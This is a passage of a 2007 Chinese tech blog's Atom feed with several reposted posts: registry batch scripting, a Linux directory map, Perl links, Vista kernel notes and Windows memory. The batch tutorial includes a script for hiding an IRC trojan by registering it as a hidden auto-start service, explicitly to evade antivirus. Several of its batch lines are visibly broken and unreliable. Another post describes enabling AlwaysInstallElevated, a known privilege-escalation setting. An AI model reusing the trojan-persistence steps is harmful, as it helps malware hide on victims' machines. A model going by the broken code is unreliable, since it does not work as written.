/&gt;我们再看看删除一个子项，我们创建一个如下的脚本：&lt;br /&gt;&lt;br /&gt;Windows Registry Editor Version 5.00&lt;br /&gt;&lt;br /&gt;[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]&lt;br /&gt;&lt;br /&gt;执行该脚本，[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]就已经被删除了。&lt;br /&gt;&lt;br /&gt;相信看到这里，.reg文件你基本已经掌握了。那么现在的目标就是用批处理来创建特定内容的.reg文件了，记得我们前面说道的利用重定向符号可以很容易地创建特定类型的文件。&lt;br /&gt;&lt;br /&gt;samlpe1: 如上面的那个例子,如想生成如下注册表文件&lt;br /&gt;Windows Registry Editor Version 5.00&lt;br /&gt;&lt;br /&gt;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]&lt;br /&gt;"Invader"="Ex4rch"&lt;br /&gt;"door"=hex:255&lt;br /&gt;"Autodos"=dword:000000128&lt;br /&gt;只需要这样：&lt;br /&gt;@echo Windows Registry Editor Version 5.00&gt;&gt;Sample.reg&lt;br /&gt;&lt;br /&gt;@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]&gt;Sample.reg&lt;br /&gt;@echo "Invader"="Ex4rch"&gt;&gt;Sample.reg&lt;br /&gt;@echo "door"=5&gt;&gt;C:\\WINNT\\system32\\door.exe&gt;&gt;Sample.reg&lt;br /&gt;@echo "Autodos"=dword:02&gt;&gt;Sample.reg&lt;br /&gt;&lt;br /&gt;samlpe2:&lt;br /&gt;我们现在在使用一些比较老的木马时,可能会在注册表的[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run(Runonce、Runservices、Runexec)]下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例(名为 windrv32.exe)&lt;br /&gt;@start windrv32.exe&lt;br /&gt;@attrib +h +r windrv32.exe&lt;br /&gt;@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] &gt;&gt;patch.dll&lt;br /&gt;@echo "windsnx "=- &gt;&gt;patch.dll&lt;br /&gt;@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:\winnt\system32\windrv32.exe&lt;br /&gt;@regedit /s patch.dll&lt;br /&gt;@delete patch.dll&lt;br /&gt;&lt;br /&gt;@REM [ 删除DSNXDE在注册表中的启动项，用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和只读，并config为自启动 ]&lt;br /&gt;@REM 这样不是更安全.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7915715382238652912-6285305631779817033?l=0gnir.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0gnir.blogspot.com/feeds/6285305631779817033/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7915715382238652912&amp;postID=6285305631779817033' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7915715382238652912/posts/default/6285305631779817033'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7915715382238652912/posts/default/6285305631779817033'/><link rel='alternate' type='text/html' href='http://0gnir.blogspot.com/2007/12/batzz.html' title='bat命令大全zz'/><author><name>Hushlight</name><uri>http://www.blogger.com/profile/06699702913215165283</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://1.bp.blogspot.com/_Yf8VRZH0rTQ/S5CIh3E_yjI/AAAAAAAAEDY/pkDohaXsQQg/S220/IMG_2429-1.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7915715382238652912.post-4920169147306679398</id><published>2007-12-24T12:32:00.000+08:00</published><updated>2007-12-24T12:33:30.804+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><title type='text'>linux目录架构 zz</title><content type='html'>/       根目录&lt;br /&gt;/bin         常用的命令   binary   file   的目錄&lt;br /&gt;/boot       存放系统启动时必须读取的档案，包括核心   (kernel)   在内&lt;br /&gt;          /boot/grub/menu.lst       GRUB设置&lt;br /&gt;          /boot/vmlinuz       内核&lt;br /&gt;          /boot/initrd           核心解壓縮所需   RAM   Disk&lt;br /&gt;/dev         系统周边设备          &lt;br /&gt;/etc         系统相关设定文件&lt;br /&gt;          /etc/DIR_COLORS       设定颜色&lt;br /&gt;          /etc/HOSTNAME       设定用户的节点名&lt;br /&gt;          /etc/NETWORKING       只有YES标明网络存在&lt;br /&gt;          /etc/host.conf   文件说明用户的系统如何查询节点名&lt;br /&gt;          /etc/hosts   设定用户自已的IP与名字的对应表&lt;br /&gt;          /etc/hosts.allow   设置允许使用inetd的机器使用  &lt;br /&gt;          /etc/hosts.deny   设置不允许使用inetd的机器使用&lt;br /&gt;          /etc/hosts.equiv   设置远端机不用密码&lt;br /&gt;          /etc/inetd.conf   设定系统网络守护进程inetd的配置&lt;br /&gt;          /etc/gateways   设定路由器&lt;br /&gt;          /etc/protocols   设定系统支持的协议&lt;br /&gt;          /etc/named.boot   设定本机为名字服务器的配置文件&lt;br /&gt;          /etc/sysconfig/network-scripts/ifcfg-eth0       设置IP&lt;br /&gt;          /etc/resolv.conf         设置DNS    &lt;br /&gt;          /etc/X11     X   Window的配置文件,xorg.conf   或   XF86Config   這兩個   X   Server   的設定檔&lt;br /&gt;          /etc/fstab         记录开机要mount的文件系统&lt;br /&gt;          /etc/inittab   设定系统启动时init进程将把系统设置成什么样的runlevel&lt;br /&gt;          /etc/issue   记录用户登录前显示的信息&lt;br /&gt;          /etc/group   设定用户的组名与相关信息&lt;br /&gt;          /etc/passwd   帐号信息&lt;br /&gt;          /etc/shadow   密码信息&lt;br /&gt;          /etc/sudoers   可以sudo命令的配置文件&lt;br /&gt;          /etc/securetty   设定哪些终端可以让root登录&lt;br /&gt;          /etc/login.defs   所有用户登录时的缺省配置&lt;br /&gt;          /etc/exports   设定NFS系统用的&lt;br /&gt;          /etc/init.d/       所有服務的預設啟動   script   都是放在這裡的，例如要啟動或者關閉&lt;br /&gt;          /etc/xinetd.d/     這就是所謂的   super   daemon   管理的各項服務的設定檔目錄&lt;br /&gt;          /etc/modprobe.conf       内核模块额外参数设定&lt;br /&gt;          /etc/syslog.conf       日志设置文件&lt;br /&gt;/home       使用者家目录&lt;br /&gt;/lib         系统会使用到的函数库&lt;br /&gt;          /lib/modules       kernel   的相关模块&lt;br /&gt;          /var/lib/rpm       rpm套件安装处  &lt;br /&gt;/lost+found         系統不正常產生錯誤時，會將一些遺失的片段放置於此目錄下&lt;br /&gt;/mnt           外设的挂载点&lt;br /&gt;/media       与/mnt类似&lt;br /&gt;/opt           主机额外安装的软件&lt;br /&gt;/proc         虚拟目录，是内存的映射&lt;br /&gt;            /proc/version       内核版本&lt;br /&gt;              /proc/sys/kernel       系统内核功能&lt;br /&gt;/root         系统管理员的家目录&lt;br /&gt;/sbin         系统管理员才能执行的指令&lt;br /&gt;/srv           一些服務啟動之後，這些服務所需要取用的資料目錄&lt;br /&gt;/tmp           一般使用者或者是正在執行的程序暫時放置檔案的地方&lt;br /&gt;/usr           最大的目录，存许应用程序和文件&lt;br /&gt;        /usr/X11R6：       X-Window目录  &lt;br /&gt;        /usr/src：         Linux源代码&lt;br /&gt;        /usr/include：系统头文件&lt;br /&gt;        /usr/openwin   存放SUN的OpenWin  &lt;br /&gt;        /usr/man   在线使用手册&lt;br /&gt;        /usr/bin                       使用者可執行的   binary   file   的目錄&lt;br /&gt;        /usr/local/bin           使用者可執行的   binary   file   的目錄&lt;br /&gt;        /usr/lib                       系统会使用到的函数库&lt;br /&gt;        /usr/local/lib           系统会使用到的函数库&lt;br /&gt;        /usr/sbin                     系统管理员才能执行的指令&lt;br /&gt;        /usr/local/sbin         系统管理员才能执行的指令&lt;br /&gt;/var       日志文件&lt;br /&gt;        /var/log/secure         記錄登入系統存取資料的檔案，例如   pop3,   ssh,   telnet,   ftp   等都會記錄在此檔案中&lt;br /&gt;        /var/log/wtmp             記錄登入者的訊息資料,   last&lt;br /&gt;        /var/log/messages     幾乎系統發生的錯誤訊息&lt;br /&gt;        /var/log/boot.log     記錄開機或者是一些服務啟動的時候，所顯示的啟動或關閉訊息&lt;br /&gt;        /var/log/maillog       紀錄郵件存取或往來(   sendmail   與   pop3   )的使用者記錄&lt;br /&gt;        /var/log/cron             記錄   crontab   這個例行性服務的內容&lt;br /&gt;        /var/log/httpd,   /var/log/news,   /var/log/mysqld.log,   /var/log/samba,   /var/log/procmail.log：&lt;br /&gt;        分別是幾個不同的網路服務的記錄檔&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7915715382238652912-4920169147306679398?l=0gnir.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0gnir.blogspot.com/feeds/4920169147306679398/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7915715382238652912&amp;postID=4920169147306679398' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7915715382238652912/posts/default/4920169147306679398'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7915715382238652912/posts/default/4920169147306679398'/><link rel='alternate' type='text/html' href='http://0gnir.blogspot.com/2007/12/linux-zz.html' title='linux目录架构 zz'/><author><name>Hushlight</name><uri>http://www.blogger.com/profile/06699702913215165283</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://1.bp.blogspot.com/_Yf8VRZH0rTQ/S5CIh3E_yjI/AAAAAAAAEDY/pkDohaXsQQg/S220/IMG_2429-1.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7915715382238652912.post-1488795738924329751</id><published>2007-12-20T15:26:00.000+08:00</published><updated>2007-12-20T15:29:48.542+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='windows'/><title type='text'>64位windows的地址空间</title><content type='html'>在Itaniumuh用户地址空间为7152GB，系统空间6144GB&lt;br /&gt;在X64系统上用户地址空间为8192GB，系统空间6657GB&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7915715382238652912-1488795738924329751?l=0gnir.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0gnir.blogspot.com/feeds/1488795738924329751/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7915715382238652912&amp;postID=1488795738924329751' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7915715382238652912/posts/default/1488795738924329751'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7915715382238652912/posts/default/1488795738924329751'/><link rel='alternate' type='text/html' href='http://0gnir.blogspot.com/2007/12/64windows.html' title='64位windows的地址空间'/><author><name>Hushlight</name><uri>http://www.blogger.com/profile/06699702913215165283</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://1.bp.blogspot.com/_Yf8VRZH0rTQ/S5CIh3E_yjI/AAAAAAAAEDY/pkDohaXsQQg/S220/IMG_2429-1.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7915715382238652912.post-6668243556452999797</id><published>2007-12-06T08:39:00.000+08:00</published><updated>2007-12-06T08:43:17.969+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='perl 资源'/><title type='text'>perl常用站点</title><content type='html'>http://www.dev411.com/perl/cpancompare&lt;br /&gt;比较多个模块，查看流行模块列表。&lt;br /&gt;&lt;br /&gt;http://cpanratings.perl.org/&lt;br /&gt;对 cpan 上的模块发表评价&lt;br /&gt;&lt;br /&gt;http://cpandeps.cantrell.org.uk/?module=Email%3A%3AMIME&lt;br /&gt;查看模块的依赖关系&lt;br /&gt;&lt;br /&gt;http://testers.cpan.org/&lt;br /&gt;cpan 上模块的测试用例运行情况&lt;br /&gt;&lt;br /&gt;http://search.cpan.org/&lt;br /&gt;搜索模块&lt;br /&gt;&lt;br /&gt;http://www.perl.com/&lt;br /&gt;O'Reilly 的 Perl 编程专栏&lt;br /&gt;&lt;br /&gt;http://www.perl.org/&lt;br /&gt;Perl 官方网站，有许多有用链接，比如到 Perl Monks, use Perl 的链接&lt;br /&gt;&lt;br /&gt;http://perldoc.perl.org/&lt;br /&gt;Perl文档，可以下载，HTML+PDF格式&lt;br /&gt;&lt;br /&gt;http://bbs.perlchina.org&lt;br /&gt;很不稳定。经常不行。&lt;br /&gt;&lt;br /&gt;http://bbs.chinaunix.net/forumdisplay.php?fid=25   &lt;br /&gt;经典的CU&lt;br /&gt;&lt;br /&gt;http://www.perlmonks.org    &lt;br /&gt;perl修道院，一个比较大的社区,通常交流比较难的问题和一些trick.&lt;br /&gt;&lt;br /&gt;http://bookmarks.cpan.org/&lt;br /&gt;Perl Bookmarks&lt;br /&gt;&lt;br /&gt;http://perlbuzz.com/&lt;br /&gt;http://planet.parrotcode.org/&lt;br /&gt;http://planet.perl.org/&lt;br /&gt;http://news.perlfoundation.org/&lt;br /&gt;http://www.roth.net/blog/index.php&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7915715382238652912-6668243556452999797?l=0gnir.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0gnir.blogspot.com/feeds/6668243556452999797/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7915715382238652912&amp;postID=6668243556452999797' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7915715382238652912/posts/default/6668243556452999797'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7915715382238652912/posts/default/6668243556452999797'/><link rel='alternate' type='text/html' href='http://0gnir.blogspot.com/2007/12/perl.html' title='perl常用站点'/><author><name>Hushlight</name><uri>http://www.blogger.com/profile/06699702913215165283</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://1.bp.blogspot.com/_Yf8VRZH0rTQ/S5CIh3E_yjI/AAAAAAAAEDY/pkDohaXsQQg/S220/IMG_2429-1.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7915715382238652912.post-4110671123957932571</id><published>2007-12-04T15:42:00.000+08:00</published><updated>2007-12-04T15:46:45.673+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Misc'/><title type='text'>提高安装权限的两种方法</title><content type='html'>一般用户通常没有安装新程序的权限，如果想赋予普通用户以安装权限，有两种方法：&lt;br /&gt;1) 在 MMC 里添加 Group Policy Object Editor, 设置如下： BOTH Computer Configuration &amp; User Configuration -&gt; Administrative Templates -&gt; Windows Components -&gt; Windows Installer, change the “Always install with elevated privileges” to be Enabled.&lt;br /&gt;&lt;br /&gt;2) 更改注册表：Set the AlwaysInstallElevated registry value to "1" under the following registry keys: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer &amp; HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installer (same change as #1 but done manually with regedit). &lt;br /&gt;&lt;br /&gt;两篇参考文章：&lt;br /&gt;http://support.microsoft.com/kb/259459/EN-US/&lt;br /&gt;http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnlong/html/AccProtVista.asp&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7915715382238652912-4110671123957932571?l=0gnir.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0gnir.blogspot.com/feeds/4110671123957932571/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7915715382238652912&amp;postID=4110671123957932571' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7915715382238652912/posts/default/4110671123957932571'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7915715382238652912/posts/default/4110671123957932571'/><link rel='alternate' type='text/html' href='http://0gnir.blogspot.com/2007/12/blog-post.html' title='提高安装权限的两种方法'/><author><name>Hushlight</name><uri>http://www.blogger.com/profile/06699702913215165283</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://1.bp.blogspot.com/_Yf8VRZH0rTQ/S5CIh3E_yjI/AAAAAAAAEDY/pkDohaXsQQg/S220/IMG_2429-1.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7915715382238652912.post-9013938369614198806</id><published>2007-11-24T00:19:00.000+08:00</published><updated>2007-11-24T00:26:21.376+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='vista 内核'/><title type='text'>Vista内核变化</title><content type='html'>增加了针对文件的符号链接&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;线程调度的时间计算&lt;/span&gt;&lt;br /&gt; 以前：基于时钟中断来计算线程执行时间&lt;br /&gt; 现在：按照实际执行时间&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;I/O系统改进&lt;/span&gt;&lt;br /&gt;1.I/O完成端口改进&lt;br /&gt;  关于I/O完成端口为何物，可参考&lt;a href="http://www.cnblogs.com/flying_bat/archive/2006/09/29/517987.html"&gt;此文&lt;/a&gt;&lt;br /&gt; 以前，每次完成都立即切换到发出请求的线程&lt;br /&gt; 现在，延迟到该线程来读取或者处理此请求，从而避免不必要的线程环境切换&lt;br /&gt;2.同步I/O可以取消&lt;br /&gt; CancelSynchronouslo可取消其他线程发出的I/O操作&lt;br /&gt; Cancello取消本线程I/O，CancelloEx取消任何线程操作&lt;br /&gt; 系统文件对话框都支持取消操作，如访问远程机器等待连接过程中&lt;br /&gt;3.I/O优先级改进&lt;br /&gt; 以前，I/O优先级根据线程I/O优先级确定&lt;br /&gt; 现在，引入两种I/O优先级模式a，I/O优先级；b，I/O带宽预留&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;内存管理改进&lt;/span&gt;&lt;br /&gt;1.内存池大小可以是动态的&lt;br /&gt; 在32位vista上，虚拟内存分配根据需要动态变化，主要针对页内存池，非换页内存池和会话内存池&lt;br /&gt;2.SuperFecth&lt;br /&gt; XP中prefetcher只是在启动进程是针对单个进程来预取数据&lt;br /&gt; Vista中Superfetch课根据更加复杂的模式来预取数据，可阔约多个应用程序，能够适应一个系统的内存使用模式。如：a，应用程序启动时 b，系统从休眠货挂起状态恢复时 c，低优先级或不常用程序运行时&lt;br /&gt;3.ReadyBoost&lt;br /&gt; 支持flash缓存，性能位于RAM和硬盘之间，数据被压缩和加密&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;引导和停机&lt;/span&gt;：&lt;br /&gt;1.引导配置数据库，取代boot.ini&lt;br /&gt; 与平台无关的引导机制&lt;br /&gt; 贮存在注册表里HKLM\BCD000000&lt;br /&gt;2.两个引导程序&lt;br /&gt; Windows boot manager, \Bootmgr&lt;br /&gt; OS loader, \systemroot\system32\winload.exe&lt;br /&gt;3.启动过程和session管理改进&lt;br /&gt; session0隔离&lt;br /&gt; 控制台用户位于session1中&lt;br /&gt;4.停机过程改进&lt;br /&gt; 原先等待20s&lt;br /&gt; 服务可以请求停机等待&lt;br /&gt; 可以指定服务停机顺序&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;可靠性和系统恢复&lt;/span&gt;&lt;br /&gt;1.内核事务管理器（KTM）&lt;br /&gt; 提供事务语义，要么完成，要么啥都不做&lt;br /&gt; 协调应用程序和资源管理器（注册表，NTFS文件系统）&lt;br /&gt;2.Volume Shadow Copy&lt;br /&gt; 在XP中引用，备份工具&lt;br /&gt; server 2003中用语共享文件夹的影像拷贝，版本管理&lt;br /&gt; vista中可用于系统恢复，以前只可恢复已知的系统文件&lt;br /&gt;3.Windows Error reporting&lt;br /&gt; 以前，未处理异常在一场线程环境中执行&lt;br /&gt; 目前，该线程发送消息web来处理&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;安全性&lt;/span&gt;&lt;br /&gt;1.Bitlocker驱动器加密&lt;br /&gt; 对整个OS卷加密，要求a，TPM 1.2 或USB或支持USB的BIOS；b，1.5未加密系统卷&lt;br /&gt;2.Code integrity verification&lt;br /&gt; OS loader和内核执行代码签名检查&lt;br /&gt;3.受保护进程&lt;br /&gt;4.ASLR, address space load randomization， 如kenerl.dll&lt;br /&gt; 用户栈位置也随机&lt;br /&gt;5.最小特权原则 the principle of least privilege&lt;br /&gt;6.UAC user account control用标准用户来运行程序&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7915715382238652912-9013938369614198806?l=0gnir.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0gnir.blogspot.com/feeds/9013938369614198806/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7915715382238652912&amp;postID=9013938369614198806' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7915715382238652912/posts/default/9013938369614198806'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7915715382238652912/posts/default/9013938369614198806'/><link rel='alternate' type='text/html' href='http://0gnir.blogspot.com/2007/11/vista.html' title='Vista内核变化'/><author><name>Hushlight</name><uri>http://www.blogger.com/profile/06699702913215165283</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://1.bp.blogspot.com/_Yf8VRZH0rTQ/S5CIh3E_yjI/AAAAAAAAEDY/pkDohaXsQQg/S220/IMG_2429-1.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7915715382238652912.post-8177050878780466159</id><published>2007-11-22T11:01:00.000+08:00</published><updated>2007-11-22T11:09:08.114+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Misc'/><title type='text'>个人知识管理</title><content type='html'>网上有的 -&gt; 收藏至 del.icio.us&lt;br /&gt;自己总结的 -&gt; 写在blogger上 -&gt; 收藏至 del.icio.us&lt;br /&gt;doc, ppt等文档 -&gt; 放在 google doc -&gt; 收藏至 del.icio.us&lt;br /&gt;考虑一下怎么更好的贴标签&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7915715382238652912-8177050878780466159?l=0gnir.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0gnir.blogspot.com/feeds/8177050878780466159/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7915715382238652912&amp;postID=8177050878780466159' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7915715382238652912/posts/default/8177050878780466159'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7915715382238652912/posts/default/8177050878780466159'/><link rel='alternate' type='text/html' href='http://0gnir.blogspot.com/2007/11/blog-post.html' title='个人知识管理'/><author><name>Hushlight</name><uri>http://www.blogger.com/profile/06699702913215165283</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://1.bp.blogspot.com/_Yf8VRZH0rTQ/S5CIh3E_yjI/AAAAAAAAEDY/pkDohaXsQQg/S220/IMG_2429-1.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7915715382238652912.post-6743779099343817331</id><published>2007-11-22T10:26:00.000+08:00</published><updated>2007-11-22T10:29:09.386+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='虚拟内存'/><category scheme='http://www.blogger.com/atom/ns#' term='物理内存'/><category scheme='http://www.blogger.com/atom/ns#' term='页面文件'/><title type='text'>【zz】虚拟内存，物理内存，页面文件，还有任务管理器</title><content type='html'>发信人: Hakkk (蓝猫淘气3k问·荷兰篇), 信区: NewSoftware&lt;br /&gt;标  题: 虚拟内存，物理内存，页面文件，还有任务管理器&lt;br /&gt;发信站: 水木社区 (Tue Nov 20 21:56:20 2007), 站内&lt;br /&gt;&lt;br /&gt;虚拟内存（Virtual Memory）是Windows管理所有可用内存的方式。&lt;br /&gt;对于32位Windows系统，每个进程所用到的虚拟内存地址从0到2^32-1，总容量4GB，&lt;br /&gt;其中2GB是与操作系统以及其他所有进程所共享，&lt;br /&gt;另外2GB分派给进程独占（这就是常说的32位Windows中一个进程最多能用2G内存的由来）。&lt;br /&gt;&lt;br /&gt;4GB虚拟地址空间（Virtual Address Space，VAS）中，2GB的进程独占VAS是进程隔离的，&lt;br /&gt;换句话说，每个进程都可以从RAM或者硬盘上映射到属于自己的2GB VAS。&lt;br /&gt;所以虽然32位Windows每个进程最多只能获得4GB可用虚拟内存，&lt;br /&gt;但是所有进程总和可以使用总量超过4GB的虚拟内存。&lt;br /&gt;可惜XP只支持4GB RAM，也就是说超出部分一定得靠页面文件补足；&lt;br /&gt;而比如2003企业版通过PAE支持32GB RAM，可以减少页面文件的用量。&lt;br /&gt;（但单个进程最多仍然只有4GB虚拟内存地址空间，而不是32GB）&lt;br /&gt;&lt;br /&gt;所以，一个简单的计算示例：&lt;br /&gt;三个进程最多能用掉多少VAS？&lt;br /&gt;2GB（共享）＋2GB（独占）×3＝8GB&lt;br /&gt;&lt;br /&gt;这4GB的虚拟地址空间，按照4KB的大小进行分页（page），&lt;br /&gt;然后以页为单位映射到实际存储单元中，包括：&lt;br /&gt;·物理内存（RAM）&lt;br /&gt;·页面文件（Page File，在Win9x中称为交换文件Swap File，即win386.swp）&lt;br /&gt;·其他文件自身（比如一些长时间未活动的进程的exe文件自身）&lt;br /&gt;可见，通常人们所说的虚拟内存实际上只是指其中的页面/交换文件而已，&lt;br /&gt;这是对虚拟内存的一个错误的理解。&lt;br /&gt;虚拟内存≠页面文件&lt;br /&gt;&lt;br /&gt;RAM中除了保存最近读写的文件缓存（File Cache，相当于Win9x中的Vcache）&lt;br /&gt;主要用来存储正在使用的程序代码和数据，&lt;br /&gt;当RAM资源紧张，或者有程序码或数据长时间未使用时，&lt;br /&gt;XP通常会将非活跃程序码所在的地址页映射回程序文件（exe、dll等），&lt;br /&gt;将数据所在的地址页映射到页面文件（pagefile.sys）中并拷贝数据，&lt;br /&gt;然后将它们本来占用的RAM空间释放。&lt;br /&gt;这个过程称为页出（Page Out）。&lt;br /&gt;&lt;br /&gt;当系统读取某个虚拟内存地址，而该地址所在的页不在RAM中时，&lt;br /&gt;将产生一个页面错误（Page Fault）中断，&lt;br /&gt;告诉系统从页面文件或者程序文件中取回包含该地址的虚拟内存页，&lt;br /&gt;即将内容拷回到RAM并建立新的虚拟地址映射，并将页面文件中对应部分标记为未使用，&lt;br /&gt;这个过程就是页入（Page In）。&lt;br /&gt;页入成功的话就是一个Valid Page Fault，否则就是Invalid Page Fault。&lt;br /&gt;前者非常普遍，（可以在任务管理器的进程页监视到）&lt;br /&gt;而后者是由程序或硬件错误引起，&lt;br /&gt;如果发生在进程上会导致非法操作，如果是系统自身则很可能蓝屏。&lt;br /&gt;&lt;br /&gt;内存用量可以在任务管理器的性能页中看到。&lt;br /&gt;其中物理内存的总量、可用数等是指安装的RAM容量和剩余RAM容量，&lt;br /&gt;而内存使用或者提交更改的总量和限制是指虚拟内存的Commit Limit和Committed Bytes，&lt;br /&gt;可以理解成系统可以使用的虚拟内存总量和当前使用量，&lt;br /&gt;其中总量是由RAM大小＋页面文件大小决定的。&lt;br /&gt;&lt;br /&gt;而在任务管理器的进程页中，“内存使用”和“虚拟内存大小”造成的误解很多，&lt;br /&gt;而实际上，这两个值是对应性能监视器中该进程的Working Set和Private Bytes，&lt;br /&gt;&lt;br /&gt;Working Set是指一个进程的4GB虚拟地址空间中被映射到RAM中的部分的大小，&lt;br /&gt;通常是该进程的虚拟内存中的活跃部分。&lt;br /&gt;表面看来这个表述和“进程占用的RAM大小”没有太大区别，&lt;br /&gt;但至少有两种情况导致了例外的发生：&lt;br /&gt;第一种是这部分虚拟内存如果是属于2G的系统共享虚拟内存，&lt;br /&gt;那么它映射到的RAM地址可能和其他进程有重复，计算多个进程占用RAM总和就不正确，&lt;br /&gt;使得所有进程的Working Set之和比实际占用RAM要大。&lt;br /&gt;第二种是一个进程中可能有同一段RAM内容的多个引用，比如一个文件被loop多次，&lt;br /&gt;此时虚拟空间中会有多段地址被映射到同一段RAM上，&lt;br /&gt;从而造成该进程的Working Set比实际占用RAM要大。&lt;br /&gt;&lt;br /&gt;Private Bytes是一个进程的2GB独占虚拟地址空间中用到的部分的大小，&lt;br /&gt;无论这部分是在RAM中还是在页面文件中，甚至是在exe、dll等文件中。&lt;br /&gt;所以，任务管理器进程页中的虚拟内存绝对不反映pagefile.sys的用量。&lt;br /&gt;&lt;br /&gt;所以，任务管理器无论是进程页还是性能页都不能直接反映pagefile的使用情况，&lt;br /&gt;诸如“关掉pagefile还能看到虚拟内存”之类的疑问，应该很清楚了。&lt;br /&gt;&lt;br /&gt;下面是一个简单图示，&lt;br /&gt;两个进程，各自拥有2G独占VAS，共同拥有2G共享VAS，&lt;br 